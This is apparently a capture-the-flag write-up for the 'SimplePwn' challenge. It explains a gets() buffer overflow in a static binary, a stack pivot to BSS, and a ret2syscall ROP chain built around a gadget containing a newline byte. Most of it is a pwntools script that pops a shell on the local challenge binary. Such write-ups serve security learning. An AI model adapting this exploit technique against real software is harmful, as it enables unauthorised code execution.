Hackaday 2024: SimplePwn
Static binary ret2syscall — working around a pop rdi gadget with a 0x0a byte via a magic gadget, pivoting to BSS first to lay out a clean ROP chain.
A statically compiled program has a gets function causing a buffer overflow.

We can't directly use a ROP chain, so we need to manually find gadgets to control registers.
Use ropper --file=simplepwn --search "pop".

All the registers are available, but the rdi register has an \x0a at the end, which is interpreted as the end of the string. This causes the ROP chain to be truncated. Additionally, the position of the bin_sh string is unknown, so the strategy is to first overflow and transfer control to the BSS section. Then, the ROP chain is laid out. Since pop rdi cannot be used directly, we have to manually search for a magic gadget that can assign a value to rdi.

The two gadgets can be used. pop rbx can be used directly, so just arrange the ROP chain accordingly.


Exploit Script
from pwn import *
from ctypes import *
from LibcSearcher import *
io = process("./simplepwn")
elf = ELF("./simplepwn")
context(log_level="debug", arch=elf.arch, os=elf.os)
libc = elf.libc
bss = 0x408220 + 0x300
rdi = 0x000000000040230a
rax = 0x0000000000401001
rsi = 0x000000000040499b
rdx = 0x0000000000404514
rbp = 0x0000000000401123
syscall = 0x0000000000404676
rbx = 0x0000000000403fd5
magic = 0x00000000004048ff
leave = 0x4011A7
io.recvuntil(b"Welcome to Hackaday 2024! This is a very simple challenge :)")
payload1 = b""
payload1 += b"/bin/sh\x00"
payload1 += b"a" * 0x68
payload1 += p64(bss)
payload1 += p64(0x401191)
io.sendline(payload1)
payload2 = b""
payload2 += b"/bin/sh\x00"
payload2 += p64(rbx)
payload2 += p64(0x4084b0)
payload2 += p64(rsi)
payload2 += p64(0)
payload2 += p64(rdx)
payload2 += p64(0)
payload2 += p64(syscall) * 5
payload2 += p64(magic)
payload2 += p64(syscall)
payload2 += p64(bss)
payload2 += p64(rbp)
payload2 += p64(0x4084b0)
payload2 += p64(rax)
payload2 += p64(0x3b)
payload2 += p64(leave)
sleep(0.1)
io.sendline(payload2)
io.interactive()